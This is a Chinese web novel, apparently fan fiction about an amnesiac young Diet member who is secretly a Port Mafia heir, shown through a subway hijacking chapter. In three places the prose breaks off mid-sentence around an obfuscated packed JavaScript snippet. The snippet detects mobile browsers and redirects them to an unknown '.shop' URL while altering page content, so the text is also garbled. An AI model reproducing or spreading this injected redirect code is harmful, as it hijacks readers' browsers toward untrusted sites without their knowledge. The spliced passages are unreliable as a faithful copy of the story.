《身为港口大少爷的我开局失忆了》 1. 失忆第一天 Chapter 1 我是这个国家最年轻的议员太田於菟, 有一天,我和青梅竹马的秘书到游乐园玩, 结果却在坐云霄飞车时遇上了杀人事件, 受到惊吓的我昏倒在了游乐园的厕所里, 结果一觉醒来,却发现—— 我失忆了。 如果让我的政敌们发现我失忆了,不仅我会有危险,还会连累到支持我的人,因此我必须隐瞒我的状况。 记忆虽然丧失,正义之心永不变,为这个国家而奔走的名议员, 今天你投我一票了吗! …… “停!” 太田於菟抬手叫停了眼前这位秘书先生的一通输出,有些茫然地指了指自己,又指了指对方: “你……我……青梅竹马?” 巨势弥一冲着书桌后面坐着的人猛点头,满眼都是皮卡皮卡的崇拜之光: “是啊,於菟前辈,我们念大学的时候就认识了,从在学生会见到你的第一眼起,我就决定要誓死追随你了!” “倒,倒也不必如此……”太田於菟讪讪地笑了笑,身子往座椅靠背里缩了缩,然而下一秒又挺直了身子,“还有,念大学的年纪才认识已经不叫做青梅竹马了,不,我是想说,不要用这个词形容男人和男人之间的关系啊!” 眉头微微蹙起,巨势弥一歪着脑袋打量了自己最敬爱的前辈兼现任上司几秒钟后,觉得自己发现了新宇宙: “前辈,我都不知道,原来你这么会吐槽的啊?” 太田於菟:“……” 难道,他一直走的是高冷人设路线吗? “总之,前辈,今天周末休假,我们去新开业的热带乐园玩,快闭园的时候去坐了云霄飞车,结果碰上了一场云霄飞车杀人事件。虽然事件被一个高中生侦探给解决了,但是当时场面太刺激,前辈你难受得想吐所以就去了厕所处理一下。我在外面等了你好久,打你手机也打不通,只好进去找你,然后发现你昏坐在其中一个隔间的马桶上,我赶忙把你叫醒,结果……你竟然连我是谁都忘记了啊前辈!” 太田於菟听罢沉默了,眼眸低垂,似乎在思索着事情的前因后果,又似乎在努力寻找大脑中的记忆痕迹。 终于,在一声声“前辈?”“前辈?”的呼唤中,太田於菟抬眸看向自己目前唯一认识的后辈兼下属: “弥一,你进厕所隔间的时候,我……裤子,有穿着吗?” 巨势弥一:“……” 前辈你关注的重点竟然是这个吗!明明应该有更多更重要的问题吧! …… 东京市区,夜晚,霓虹闪映的繁华街道上,一辆黑色的保时捷古董车静静停在路边。 “大哥,那小子今晚没有动手啊。” 驾驶座位上的伏特加刷手机刷到现在,也没有刷出今晚热带乐园有什么特大事件。 如果按照原计划,当下【惊!太田议员孤身调查不法勾当遭枪击】之类的新闻热搜应该引爆网络了才对。 “哼,刚刚接到线报,今晚那个游乐园里潜伏有公安的人,他想必是不敢轻举妄动,上演他那出自导自演的剧目吧。” 琴酒综合自己刚刚收到的信息,很快便做出了如此判断。 换作是他自己,也会做出这样的决定,毕竟今晚连对付那个意外搅局的高中生侦探,他为了谨慎起见不把普通警察招来,都选择了用毒药而不是直接一枪爆头,更不要说是对付那些公安了。 “这么说,森於菟他早就知道了游乐园里潜伏有公安,所以才临时取消了他的计划?”伏特加觉得自己真相了,更是瞬间脑回路通通打开,“他当时突然在我们后面排队来坐过山车,那副打扮我差点没认出他。我以为他和我们一样是为了从高处观察交易人,毕竟我们勒索的那个董事长也是今晚他计划里的重要一环,没想到他其实是为了查探潜伏着的公安啊。” 对于这通分析,琴酒不可置否,只是咬了下口中衔着的烟蒂道: “哼,Port Mafia的老狐狸养出来的小狐狸。” 今天从云霄飞车上下来后,那小子装出一副被死人场面惊吓到的可笑样子,却在没人注意到的时候,偷偷凑到他耳边—— 【从高处观察目标,除了过山车,摩天轮也是个不错的选择,下次要一起试试吗,Gin?】 【以及……想跳槽的话欢迎随时来找我,我父亲可是一直都很欣赏你的能力呢。】 嘁,如果不是顾及对方的身份, 他早就把那小子一枪爆头了。 “没错,大哥,那个小狐狸不能轻信,嘴里没有一句真话。” 伏特加很不喜欢森於菟,每次见面时,那个臭小子当着他的面竟然就敢对大哥放出猎头宣言,要把大哥挖去Port Mafia……当然,他是绝对不会声张这种事情,绝对不会背叛大哥的,但是这世上没有不透风的墙,万一这种事情传到组织里,很影响大哥进步的! 而且,每次挖墙脚时,还要来上一句【当然,如果Gin你愿意来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234431|151388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话,我们是不介意额外多接受一个伏特加的】……搞什么!好像他是被迫捆绑多余接收的! Port Mafia这么缺人的吗,大少爷都得出来当HR到处挖墙脚? 想到这里,伏特加一边看着车窗外大楼上的LED屏,一边嘴里嘟嘟囔囔着,“小骗子,现在的欺骗对象成了这个国家的所有人。” 这里是东京最繁华的地带,每日的人流量极高,想要在这种寸土寸金之地的LED显示屏上播放视频可是极需要钞能力的,然而此刻,【太田於菟!进击!】的个人宣传视频却在不要钱似地循环播放。 视频里,太田於菟一身笔挺西装、抹了发胶的头发梳成大人模样,但一点都没有老派古板之气,只让人感到满满的精神抖擞、蓬勃向上。那双紫色的眼眸亮晶晶的,脸上扬起充满朝气的笑容,活脱脱一个小太阳。配上一旁【史上最年轻议员】的标签,更是让人觉得这个年轻人将带领这个国家向着黎明前进! 最年轻议员、东大高材生、容貌优越,这几个标签叠加在一起,让太田於菟在民众里,尤其是在年轻人里的人气如火箭般飙升,是当下最炙手可热的政坛新星。 几个年轻人一边拿手机对着LED屏逐帧拍照,一边兴奋地议论着, “话说,太田议员的团队这么有钱的吗,能在这种地方滚动放映宣传视频?” “这几栋楼都是迹部集团名下的啦,据说迹部家是太田於菟竞选议员的背后最大支持者。” “的确,有人挖出过,迹部家的大少爷和太田於菟是同届入学的东大校友,两人在学生会共事过。” …… 看着视频里自己那活力满满的样子,太田於菟忍不住扶了扶鼻梁上刚刚架上的大黑框眼镜,然后脑袋凑近电脑屏幕想要看得再真切一些。 ……他,这么阳光向上的吗? “弥一,为什么视频弹幕里那么多人都在刷‘太田於菟,顶级美强惨,呜呜呜’……我很惨吗?” 就凭他能成为最年轻议员这点,强是必然的; 至于美,照了照镜子,他的长相他自己都喜欢,嗯; 那么惨…… 能有多惨? 对于这个问题,巨势弥一露出了一副不忍告知的沉痛表情,深呼吸了数次后才终于告知: “於菟前辈,你自幼痛失双亲,一个人孤单又坚强地长大,一步步努力走到今天,前辈你真的太不容易了啊呜呜呜!” 太田於菟:“……” 那,那好像确实挺惨的。 2. 失忆第二天 Chapter 2 一觉醒来,发现自己失忆了,怎么办? 倒也不是什么天塌下来的大事,毕竟他只是不记得事情了,不是认知出现障碍失智了,人又没傻掉。 太田於菟觉得自己心态还是挺良好的。 毕竟事已至此,他也只能接受,就当是他的人生游戏重新开局,好歹不是个让他想要删档重来的天糊开局。 不过查看一下自己的开局装备还是有必要的。 送走宛如保父般叮嘱交代了自己一大堆的巨势弥一后,太田於菟独自仰躺在公寓客厅的沙发上,闭着眼睛进行自我评析。 目前来看,巨势弥一大概是他最亲密的人吧,毕竟都亲密到工作时朝夕相处不说,连周末都约着一起去游乐园玩……嘶,虽然听起来感觉怪怪的。但是,巨势弥一说的话他也不能完全认可,毕竟每个人都是从自己的角度出发在认知事物,所得到的结论也不尽相同。 ……尤其是弥一那家伙对他的粉丝滤镜还挺重的。 而那段宣传视频里他所展现出的形象,可信度就更低了,毕竟政客可以说是最会自我包装的职业了……总不会,他真的就是那么阳光灿烂正能量的一个人吧? 缓缓睁开眼睛,太田於菟觉得自己得出了对自己的第一个认知—— 他是个很理智的人, 一个理性大过感性的人。 “真是的,难得失忆一次,就不能让我当个快乐傻瓜啊。”太田於菟自我嘲解着,有些苦恼地挠了挠头发。 结果,几根黑色的秀发,就这么从手指间滑落…… 看着光洁地板上那几根醒目的头发,太田於菟下意识摸了摸自己的发际线,接着在心里慰问了一下那位据说早就去了三途川的父亲大人……没有遗传给他什么可怕的基因吧? …… 一般来说,人会把最重要最私密的物品藏在卧室或是书房。 太田於菟当即展开搜查行动,在卧室和书房一通翻找,想要搜索出更多的线索,进而推理“我是谁?”这个听起来还挺有哲学意趣的问题。 最终,在书房找到了一个隐蔽地内嵌在柜子里的指纹密码箱。 毫无疑问,里面定然存放着对自己而言很重要的东西。 很顺利地就用自己的指纹解锁了密码箱,在看到里面既没有一沓又一沓的钞票,也没有大批量金条后,太田於菟不禁……深深松了口气。 太好了,没有看到那些“犯错误”的东西。 哦,倒不是他接受不了真实的自己也是个平平无奇的贪腐政客,与对外营造出的人设反差过大,而是他不能忍自己会将赃物就这么贴身藏在家中保管,那只能说明要么他脑子蠢笨、要么他目光短浅且贪得无厌。 他可不能接受自己是个愚蠢贪婪之人。 那么,就让他看看这些被自己如此珍藏的东西都是什么吧。 首先,是一张照片。 照片上,背景是【警视厅警察学校】的大门,五个穿着警服的大男孩聚在一起拍照,每个人的脸上都是那般耀眼的笑容。 照片背面则龙飞凤舞地写着一段话—— 【真遗憾毕业那天你不在,未来等你成为首相后一定要补拍一张,约定好了啊!】 所以,这是他错过的毕业照吗? 倒是和巨势弥一说的他曾经有过一段警校经历,还在警视厅有几个很好的朋友这些事情对上了。 【前辈你高中毕业后去报考了警察学校,但是警校毕业后,你选择了重新走考大学的路,回高中复读了一年后就直接考上东大了,前辈你真的好厉害!】 看样子,他当初是打算走警视厅晋升路线的,到底是什么让他改变主意了? 【说起来,从前辈你念大学起,你那几个警视厅的朋友就经常来看望你,有个叫松田阵平的卷毛每次来都会帮你修理宿舍里坏掉的大小家电,有个叫萩原研二的半长发只要一来就准带你去飙车,啊,还有个叫伊达航的寸头警官经常和她女朋友一起来给你送各种好吃的,你前段时间还嘟囔着伊达警官要结婚了送什么贺礼比较好。】 这么看来,他人缘还不错,甚至挺受宠的? ……虽然听起来有一种这几位警校同期把他当儿子了的感觉。 松田阵平、萩原研二、伊达航,这三个人在照片里很好对应上,那么,剩下的两个呢,听起来他的生活中完全没有这二位的痕迹啊。 总不会是,闹掰友尽了吧?亦或是这二位已经不幸殉…… 这个念头刚刚冒出来,太田於菟下意识地便猛甩头将其驱逐出大脑中。 不会的,不会那么糟糕,一定只是暂时的,闹掰了吧…… 他不愿意往坏处想,因为他很喜欢照片上的这几个人,本能地就很喜欢,也许是虽然失去了记忆但是潜意识里的情感还在,所以才会不需要任何理由地就去喜欢他们。 不过,既然他如此珍惜这张他缺席了的照片,那为什么,拍照那天他不在呢,那天到底发生了什么事情,竟然能够让他错过和朋友们的警校毕业典礼。 太田於菟在心中默默记下了这个重要的时间点,那天一定有不同寻常之事发生。 话说,他原来这么早就定下了当首相的志向啊,那么的确是需要一个亮眼的学历作为基础的。 而且,从一开始,他就获得了朋友们如此坚定的支持啊…… 指尖抚过这张有所遗憾的照片,带着一份自己都没有察觉到的留恋与怀念。 下一个物品,他的东大毕业证。 毕业证书上赫然写着【太田於菟:东京大学法学部学士】,不过他想比起这纸证书,他更加珍惜的是夹在证书里的这张贺卡吧。 精致到堪称华丽的贺卡,很能彰显送贺卡人的品味,一如贺卡上那张扬而又华丽的笔迹。 【加油吧,未来的首相先生,本大爷会一直注视着你的。 ——迹部景吾】 原来如此,这就是弥一重点提及的那位迹部家的大少爷啊。 【迹部学长是日本数一数二的大财团的继承人,和前辈你是同届入学东大的学生会成员。但其实,前辈你和迹部学长很小的时候就认识了,你们当年在英国一起上了几年小学,但后来前辈你家里出了变故,所以九岁那年退学回国了,从此你们就再没见过,直到在东大的入学典礼又重逢……】 这,这不就是,天降竹马吗!日本顶级财阀家的大少爷竟然是他的天降竹马! 这,这土狗设定……他还挺爱的,哈哈哈。 谁不想有一个土豪朋友啊! 【东大毕业后,迹部学长又去美国的商学院留学深造了,最近才回国,但是一回国就很给力,前辈你竞选议员时的各种宣传广告都是迹部学长大力赞助的呢!】 不,不光是天降竹马,还叠加了白月光回国的剧情啊! 太田於菟觉得自己受到了暴击,光是听着就对这位景吾君充满了好感与信任。 再次认真端详着这张贺卡,想必这是景吾君当年出国留学前送给他最后的礼物吧。 没有对他想要当首相的白日梦嗤之以鼻,而是如此信任、期待、鼓励着他,在他需要时也如此慷慨地相助。 珍重地将贺卡重新放回到毕业证里,虽然他现在什么都记不得了,但想必那是和景吾君一起度过的非常美好的四年大学时光吧……啊,也许记忆里还有弥一一起。 那么,下一样东西…… 一封信,很神奇,寄信人的位置什么都没有写,更神奇的是这样竟然也能邮寄出来?! 从邮戳上看,信是从横滨寄出的,而且寄出时间就在最近。弥一倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234432|151388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有说过他家乡在神奈川,难道是老家那边的亲戚寄给他的家书? 信封里就两张纸,其中一张是被剪裁下来的报纸【太田於菟,史上最年轻议员诞生!】,另一张信纸上则就简简单单写了几个字【不愧是你啊】。 这,这应该是在对他表达赞美与赞叹的吧…… 但为什么他总觉得自己读出了一股讽刺的意味? 不,不,不,他怎么能想得这么阴暗呢,既然这封信也被自己同等地珍藏于此,就说明这定然也是对他浓浓的祝福啊! 柜子里还有很多很多这样的“珍宝”,一件件地看过,不知不觉便已到夜深人静时。 太田於菟怀抱着这些珍贵之物,心中感慨万千。 虽然他不记得曾经了,但是,从最初“首相梦”的诞生,到之后人生的每一个阶段,身边都有这么多真挚的朋友在支持、鼓励着他…… 他不会辜负大家的期待的! 走到阳台上,仰望着漫天星辰,太田於菟觉得自己升华了,仿佛星河已纳入胸怀,一步步向着黎明的朝阳奔进。 他不再怀疑自己,他一定会带着大家给予他的支持与期待,成为首相!成为这个国家的光! …… “阿嚏——!” 冷不丁地打了个喷嚏,中原中也揉了揉鼻子,眼睛微眯……总觉得发生了什么不妙的事情,心里慌慌的。 但愿是他多心了。 身旁跟着几个他的心腹下属,也是今晚的行动小队,其中一个成员再次向自己的上司寻求确认: “中也先生,今晚的行动确定取消了吗?” 今晚他们一直在等游乐园里的於菟少爷给他们发来“动手”的信号,但从始至终都没有,最后他们就这么目送着於菟少爷离开了游乐园。 “啊,确认。刚刚收到线报,今晚游乐园里潜伏有公安,虽然应该是冲着那个酒厂去的,但如果我们这边动起手来被公安察觉到,也会有麻烦的吧,今晚不是一个好时机。” 中原中也解释完后,几个手下也不禁纷纷赞叹: “少爷他一定是发现了有公安的存在,所以才不动声色地取消了今晚的行动。” “不愧是少爷啊。” “唉,自从少爷竞选议员成功后,就被他那些政敌死死盯着,这段时间都没办法直接和我们联络了。” 中原中也抬手压了压自己戴着的帽子,“别担心,於菟有的是办法应对,我们只需要在暗处确保他的人身安全就好。” 今晚的行动是他主动向首领请缨要来的,一并带来的也都是知道於菟身份的心腹下属。毕竟今晚的行动会让於菟“涉险”,他可不放心交给其他人来,得他亲自用重力控制子弹不伤到於菟才行。 不过今晚算是被酒厂那伙人拖累了,竟然招来公安,大概率是他们内部已经渗透有公安的卧底了吧,再不内部好好清查下是想变水厂吗? 也好,行动取消,於菟也不用冒险了……啧,他从一开始就不赞同於菟的这个计划,就算是想借机铲除政敌,徐徐图之不好吗,犯不着激进地拿自己去冒险。 游乐园闭园时,他用望远镜远远看着那个议员秘书和於菟一起出了游乐园,两个人靠得很近,甚至大晚上的於菟还把那个秘书带回了公寓…… 嘁,看着还真是令人不爽啊。 中原中也不自觉地握紧了拳头。 “看!少爷的视频!” 一个下属指向了不远处大楼上的LED大屏,此刻正在播放太田议员的宣传片。 望着屏幕里那仿佛浑身都散发着正道光芒,本人也宛如一颗小太阳的太田议员,几位也算是身经百战的Port Mafia成员忍不住……一阵胃疼。 我那高贵冷艳的少爷啊…… 少爷,你为组织受苦了呜呜呜! 3. 失忆第三天 Chapter 3 自己的失忆真的只是突发的偶然,还是被人暗害呢? 无论是哪种可能,他都不能被人察觉到他失忆了,不然轻则议员位置不保,重则性命堪忧。 因此隔天工作日,太田於菟照常按着平时的作息时间去上班。 他有一辆二手的小汽车,但据巨势弥一说,平日里上班他都是和普通上班族一样搭乘火车地铁的,因为上下班高峰期的东京实在是太拥堵了。议员们的办公所在地——议员会馆,位于千代田区的永田町,那里是这个国家的政治经济中心,工作日的堵车状况更是可想而知。 太田於菟觉得这种出行方式很符合他的行事风格,比起讲排场他更注重效率,况且他一个并非世家高门出身的草根议员,要是开着辆豪车去上班,才是在毁他树立出的形象吧。 对着等身穿衣镜整理了下自己的衬衫衣领后,太田於菟对着镜中的自己露出了满意的微笑。 完美,无论是他的脸蛋还是他的衣品。 他没有特意向巨势弥一询问自己平日里的穿搭风格,因为即使失忆,但刻在身体里的品味是不会变的,他只要直接按照自己的喜好来就行。 作为一个政客,工作日自然是要穿西装衬衫这种正装,但他在一些细节上做了微调,让他这身工作装看起来不过于古板无趣,多了几分属于年轻人的朝气。 是的,年轻,而且是非常年轻,这既是他的优势也是他最被攻击的点。 国会众议员参选的最低年龄要求是二十五岁,他正好卡着最低年龄线当选,而且是史无前例的以如此“幼龄”当选,从竞选成功起就引来了几乎所有守旧派的不满,认为是个无知的小鬼闯入了大人们的世界。更何况他不是世家门阀出身,没有任何过硬的家族背景,就更加成为被那些传统政客攻击的对象。 而他会因此而自卑吗…… 那必然是不会的!开局如此青铜配置都能走到今天这步,这恰恰说明他能力卓绝啊! 太田於菟对着镜子里的自己笑得更加满意了。 他可真牛叉,嗯! 至于他昨天晚上刷各种论坛了解更多关于自己的信息,发现网上竟然有人说他其实是迹部集团的傀儡,甚至造谣他和迹部家的少爷之间存在不正当关系…… 简直是污蔑!景吾君可是最早鼓励他实现梦想的人之一! 而且景吾君可是他的天降竹马加回国白月光,不许玷污他和景吾君之间感天动地的同学情啊! 想到自己所背负的来自朋友们的爱与支持,太田於菟觉得自己此刻斗志昂扬,充满了力量,不就是上班吗,来吧! 他一定会用最快的速度完成打怪升级,登顶首相宝座的! …… “前辈,你今天的行程是这样的……” 巨势弥一已经准时在公寓楼下等候着了,他实在是不放心太田於菟失忆后的第一个工作日就这么独自去上班,一定要全程护驾。 一边走在前往地铁站的路上,一边向太田於菟说明着今天预定的日程安排。 听着那满满当当且繁杂多样的行程,饶是满腔激情,太田於菟也还是忍不住苦恼地挠了挠头发,感叹实现梦想的道路果然是荆棘遍布啊。 尤其是在看到自己这么一挠头就又簌簌往下掉的头发……更,更苦恼了。 天呐,至少让他保住他的头发吧,他才二十五岁,他还不想秃啊! 他觉得他现在身体状况挺良好的啊,也没有忧思过重,那就只能是,他基因不好。 ……毕竟父亲脱发遗传给儿子的概率可是高达百分之五十的。 就在心中再度向三途川彼岸的父亲致以慰问时,一阵由麦克风传出的洪亮宣讲让他思绪收回,下意识便朝着声源处看去。 已经走到车站了,只见车站外的广场上,一个穿着笔挺西装的男人正举着话筒高声宣传着什么,旁边还有两个助理帮男人立着宣传牌子、调试着音响设备。 “金井湛,三十岁,也是国会议员,之前曾在国家海关的横滨关区总关工作。他和前辈你之间非常不对付,是议会里最针对你的议员之一。对了,他也住在这个车站附近。” 身为秘书的巨势弥一非常专业,立刻便向自己的上司送上此人的情报。 “也就是说,是我的政敌咯?” 太田於菟手指摩挲着下巴,饶有兴致地打量着不远处的金井湛。 年纪不算大,相貌也不错,从发型到衣着都打理得一丝不苟,看起来属于那种行事一板一眼、过于严肃认真守原则的人。 他和这样的家伙是政敌啊…… 这家伙现在是在做车站演讲吗,这的确是所有日本政客都要掌握的技能,一般都会在早晨或者晚上举行,在各个车站的早高峰时间段,尽可能向更多的人推销自己。即使忙碌的人们很少会停下脚步耐心聆听,但至少也能在民众中刷个脸,潜移默化地拉近距离。 这时,金井湛也发现了太田於菟,彼此隔空四目相对。 怎么说呢,毕竟是同事,这个时候装不认识好像有些不合适,太田於菟还是微笑着走上前去,就算对方冲他冷着一张脸,他也还是微笑,不都说微笑是最大的真诚,而真诚是永远的必杀技嘛。 “你看起来很悠闲啊,太田议员。” 迎头就挨了一记冷嘲热讽。 好吧,必杀技失败,太田於菟在心中默念,但脸上还是挂着笑容。 金井湛却是眉头皱得更紧,脸上就差直接写着“你笑得可真碍眼”了,将手里的话筒递给一旁的助理后,也朝着太田於菟走了过去。 两人近距离站定后,太田於菟发现对方比自己高出了大半头,怕是奔着一米九去了。 配合上对方此刻压低了的声音,确实是颇有压迫感。 “太田於菟,总有一天,我会揭穿你的真面目的。” 对这突如其来的威胁还没做出什么反应,就见对方死死盯着他,近乎咬牙切齿地说着: “我在横滨总关工作多年,见识过那个港口城市无数的罪恶与黑暗,所有沾染过那个城市黑暗气息的人我都能瞬间觉察出,而你的身上有着黑暗中的黑暗。” 此言一出,仿佛周围的喧嚣都被隔绝开来,这里是一片只属于这二人的角斗场,肃杀之气于无声中翻涌。 “黑暗中的黑暗啊……” 太田於菟喃喃着,同样压低了声音却是冷笑了起来,额前的发丝在脸上投下了阴影,让他的表情晦暗不明。 “没错,毕竟我可是有着‘横滨恶虎’之称的港口犯罪专家啊。如何,回想起被我支配的恐惧了吗,金井君?” 伴随着《红莲之弓矢》这一BGM响起,整个氛围感拉满…… “哈哈哈哈哈!阿湛你中二期还没过吗,你这是中二病也要当议员吗?” 太田於菟眼泪都要笑出来了,刚才配合着对方演这出中二大戏他都差点笑场。不过他很入戏哦,甚至还根据自己名字“於菟”的含义临时编出了“横滨恶虎”这个中二感满满的绰号,看来他就算不当议员,去当少年漫编剧也是很有天赋的嘛。 同时不忘对着身后自己的贴心大秘书比出了大拇指,赞赏对方BGM选得非常准确: “弥一,good job!” 巨势弥一结束了自己手机里《红莲之弓矢》的播放,微笑不语地深藏功与名。 金井湛:“……” 到底谁是中二病啊!你当我是在和你开玩笑吗!还有,谁允许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234433|151388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你叫我阿湛了! 在金井湛要用眼神刀死自己前,太田於菟连连后撤两步,接着便一边朝着地铁入口跑去一边笑着喊道: “我快迟到了,先走一步,晚上我们再约着一起坐车下班回家吧,阿湛!” 金井湛:“……” 谁要和你一起约下班啊!我们是那种可以一起坐地铁上下班的关系吗!还有,不许叫他阿湛啊! 目送着这个讨厌的家伙离开,金井湛觉得自己胸腔都憋满了气,完全没有心情再继续他原本的车站演讲了。 太田於菟…… 不觉间,脑海中又浮现出了曾经那个在港口狠狠地折辱了他的黑暗身影,那个如同梦魇般的少年。 双拳不觉间握紧。 那份黑暗的气息,他绝对不会认错的。 …… 太田於菟带着巨势弥一一路小跑着下地铁站,刚刚耽误了几分钟,再不快点要错过原定搭乘的这班车了。 虽然耽误了些时间,但是挺有趣的,毕竟谁不喜欢逗一个成年中二病患者呢……诶呀呀,他不会其实是个很恶趣味的人吧。 不过,刚才近距离1v1时,对方那种居高临下的压迫感让他很不爽。 可恶,为什么他的身高只有一七五啊!就不能再努努力吗!他这个年纪真的已经彻底告别生长期了吗,真的没有希望再长长了吗! 一边想着一边向前赶路,结果转角处不小心撞到了一个人…… 不,这个人故意撞向他的。 是个女人,一头淡金色的半长发,穿着打扮看起来像是个女大学生。 女人撞到他后,连连向他道歉,尤其是那用力的眼神,仿佛想要用眼神传达歉意以此吸引走他的注意力。 哼,他是不会这么轻易就上当的。 他已经察觉到了,这个女人在同一时刻将什么东西悄悄放进他的手提公文包里了。 道完歉后,女人便离开了,一幅平平无奇的早高峰时段赶路人的样子。 …… 离开地铁站后,找到一个隐蔽的躲藏点,樋口一叶稍微松了口气。 很好,按照於菟少爷之前的吩咐,完美地掐准时间点将最新款窃听器交给了少爷,刚刚相撞时少爷应该也已经收到她的眼神暗示了。 那么,现在按照少爷交代的,测试一下这款窃听器在地下极速行驶的地铁上是否也信号良好,如果没问题的话她就可以撤了。 地铁上—— 拥挤的早高峰地铁,站在角落里的太田於菟已经不动声色地将手试探进公文包里,摸索着那个神秘女人悄悄塞进他包里的东西……根据他本能的经验判断,这应该是个窃听器。 糟糕,这么快就被人盯上了吗?是他的政敌,还是憎恶他的黑恶势力,亦或者是……暗下毒手害他失忆的人,想要确认他是否已经失忆了? 可恶,一大早就遇上这么棘手的事情了啊,他必须要伪装好,绝对不能暴露自己失忆的事实。 “前……” 身旁的巨势弥一想要说什么时,被太田於菟抬手制止了,轻轻摇头示意先不要说话。 然后,在对方询问的目光中,缓缓说了句模棱两可的话: “我们的身边,都是敌人啊。” 他相信,依照彼此间的默契,弥一一定能明白他的意思的。 …… 地面上—— 信号接收良好,听得非常清楚,但是听到的话…… 樋口一叶顿时心头警铃大作,这,这,这话,少爷是在发出求救信号吗! 不敢有任何耽误,樋口一叶当即手机拨通自己直属上司的电话: “芥川前辈!於菟少爷那边有危险,请求支援!请求支援!” 4. 失忆第四天 Chapter 4 手上揣着个窃听器,宛如揣着个定时炸弹,让太田於菟这一路地铁都站得不安稳。 怎么办,他是演一出不小心公文包掉地把窃听器甩出去的戏码,让这个窃听器“意外”离开他?还是干脆将计就计地向窃听者传递错误信息,设计把对方给引出来,看看究竟是何人想害他? “呲——!” 突如其来的急刹车伴随着车轮和铁轨摩擦出的刺耳噪音,让车厢里的乘客们下意识惊呼出声,更有站着的乘客差点跌倒。 正全神贯注思索窃听器问题的太田於菟也猝不及防地歪了下身子,将将站稳,整个列车响彻乘客们的尖叫。 “啊!” “出什么事了?!” “报警,快报警……” 一声骇人的枪响让全体乘客陷入了恐惧中,更有乘客拍打着各节车厢的门想要离开,随即一声扩音器传出的粗暴的“通通安静!”,更是让所有人都惊慌失措地抱头蹲下噤声。 刚刚的子弹射穿了车玻璃,算是歹徒向全车人发出的警告。 只见歹徒是个一个满臂纹身的年轻人,看起来也就刚成年的样子,脸上却是摆出相当凶狠的表情,光是看着就令人心惊胆战。 ……这才应该是满身黑暗气息的标准形象吧,这黑气都直往外溢了,真应该让金井议员来看看。 同样双手抱头蹲在人群里的太田於菟心中默默吐槽着。 出乎意料的,对于眼下这种场面他没有什么恐慌感,甚至还能默不作声地观察当前境况,冷静地做着分析以寻求解决途径。 这不是一个普通人面对地铁劫持事件会有的反应,所以,他果然…… 他果然拥有一颗大心脏啊。 这是一个优秀政客所应具备的心理素质,他果然天生就是吃这碗饭的,嗯。 地铁当下卡在了这条线路最狭窄的一段隧道里,车外左右两侧距离墙壁都非常近,无论是外部人员救援还是内部人员疏散都有一定难度。警察如果来了,只能优先选择从车头和车尾两端进行突击,甚至眼下这种地形,连狙击手都不好安排。 车突然启动紧急制动装置停在这个路段,极有可能是事先设计好的,再加上突发状况下司机并没有立刻手动紧急开启车门,这里成为了一个无法进出的密闭空间,那就更加说明…… 这时,司机所在的单独车舱的门打开了,只见戴着帽子的地铁司机走进了首节车厢里,慢慢扬起的同样是一张年轻而凶狠的脸。 果然,这班地铁真正的司机很有可能在走进驾驶舱前就被袭击了,然后被这个犯罪团伙的人所代替。 如此一来,这辆地铁已经完完全全被歹徒控制了。 “所有的人,都不要轻举妄动,否则我就按动这个遥控器引爆炸弹,我们所有人同归于尽!” 只见那个假冒司机扬起手中的遥控器,指了指驾驶室操作台上摆着的那枚炸弹。 依旧老老实实躲在一众乘客间的太田於菟暗暗咬了咬嘴唇……有炸弹啊,这下可棘手了不少。 此时此刻,地面上—— 通过窃听器了解到地铁内发生了什么事情后,樋口一叶简直急疯了,一脚油门踩到底狂飙着去和上司汇合,同时不忘电话传达着事态的严重性: “芥川前辈,一级警报,一级警报!我们得马上报告首领啊!” …… “搜查一课,出动!” “爆.炸.物处理班,出动!” “快!全速前进!” 东京地铁劫持事件立刻惊动了警视厅,倒不是因为地铁里有乘客大着胆子报警,也不是因为地铁总控中心察觉到了这班地铁的异常,而是歹徒主动“通知”警方的——直接线上开直播! 直播犯罪,倒不是这两个歹徒过于嚣张,而是他们这次犯罪行动的目的是为了以一车乘客性命为代价,要挟政府释放他们组织的头目。 吉川组是盘踞川崎港的一个极道组织,头目不久前刚刚被抓获并起诉判刑,当前正关押在狱中。为了营救老大,川崎组的两个年轻成员决定这般孤注一掷,劫持一班早高峰的地铁来和政府谈判。 “别说那些没用的废话了!现在,立刻释放我们老大,待到老大安全后和我们联系,我们自然会释放这车人。” 看到直播平台上,警视厅官方账号回复的都是【请你保持冷静,不要动车里的乘客】之类的话,歹徒们顿时更加烦躁,他们可没时间磨洋工,营救老大的计划分秒必争。 已经在川崎港他们的势力地盘里给老大准备好了逃生快艇,协助老大的人也都已经在那儿待命了,只要老大离开监狱进入川崎港的范围内,一切就都稳了。 既然警察这个时候只想着拖延,那就只能再来一剂猛药了…… 